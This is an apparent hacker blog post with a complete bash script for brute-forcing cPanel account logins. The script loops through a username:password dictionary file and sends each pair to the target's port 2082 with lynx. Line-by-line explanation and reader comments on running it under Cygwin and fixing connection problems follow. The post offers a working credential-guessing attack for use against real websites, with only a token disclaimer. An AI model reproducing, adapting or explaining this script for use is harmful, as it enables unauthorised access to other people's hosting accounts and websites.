
Hello, did you ever try to brute force a website login page and you didn't find the right tool?
it always happen, so i will explain how i did it with linux shell script.
I wrote a small script to brute force Cpanel accounts:
============================================
#!/usr/bin/env bash
# Cpanel BruteForce v1.0
# Coded By Dr.Death 2008
# drdeath[at]bsdmail.org
#
# This is a simple script that will brute force Cpanel account
#
# I do not take any reponsibilty for what you do with this tool
# Hopefully it will make your life easier rather then making other
# peoples lives more difficult!
#############################
# _____ _____ _ _
# | __ \ | __ \ | | | |
# | | | |_ __| | | | ___ __ _| |_| |__
# | | | | '__| | | |/ _ \/ _` | __| '_ \
# | |__| | | _| |__| | __/ (_| | |_| | | |
# |_____/|_|(_)_____/ \___|\__,_|\__|_| |_|
#############################
echo ".::Cpanel BruteForcer By Dr.Death::."
echo
echo -n "Enter domain name for the Cpanel account you want bruteforce:
> "
read site
n=`cat pass_list | wc -l`
for (( i=1; i <= $n; i++));
do
password=`sed -n "$i"p pass_list`
b=`lynx -dump -nolist -auth="$password" ""$site":2082"`
echo trying password $password
if [ ! -z "$b" ]; then
echo "Bengo WebSite "$site" password is: "$password""
echo "Have Fun ;)"
exit 0
fi
done
echo
echo "brute force complete"
echo "no luck, try better dictionary"
exit
==========================================
lets explain what we did:
- #!/usr/bin/env bash
- read site
- n=`cat pass_list | wc -l`
- for (( i=1; i <= $n; i++));
- password=`sed -n "$i"p pass_list`
for example in loop number 4 variable $i will have value of 4 and the sed comand will be like this:
"sed -n 4p pass_list" which will print the 4th line from the password file pass_list.
- b=`lynx -dump -nolist -auth="$password" ""$site":2082"`
we use option "-dump" to dump the output instead of waiting user action, "-nolist" to disable the link list feature in dumps, "-auth=" use to set authorization ID and password for protected documents.
for example to access cpanel account for website "example.com" with username "user" and password "pass" it will be like this:
"lynx -dump -nolist -auth=user:pass http://www.example.com:2082"
so password file pass_list should include the usernames and passwords in this format: "username:password"
- if [ ! -z "$b" ]; then
Thats all falks :)
Dr.Death
4 comments:
Is There Any Way To Use IT In Windows ?!! i dont know how i mean the bash script !
Hello, yes you can run it with cygwin unix under windows.
i tried it nice script but for sum reason lynx couldnt conect
Hi, try first to connect to the target website using lynx for troubleshoot
lynx "website.com"
lynx "website.com:2082"
check maybe the website doesn't run cpanel on it
Post a Comment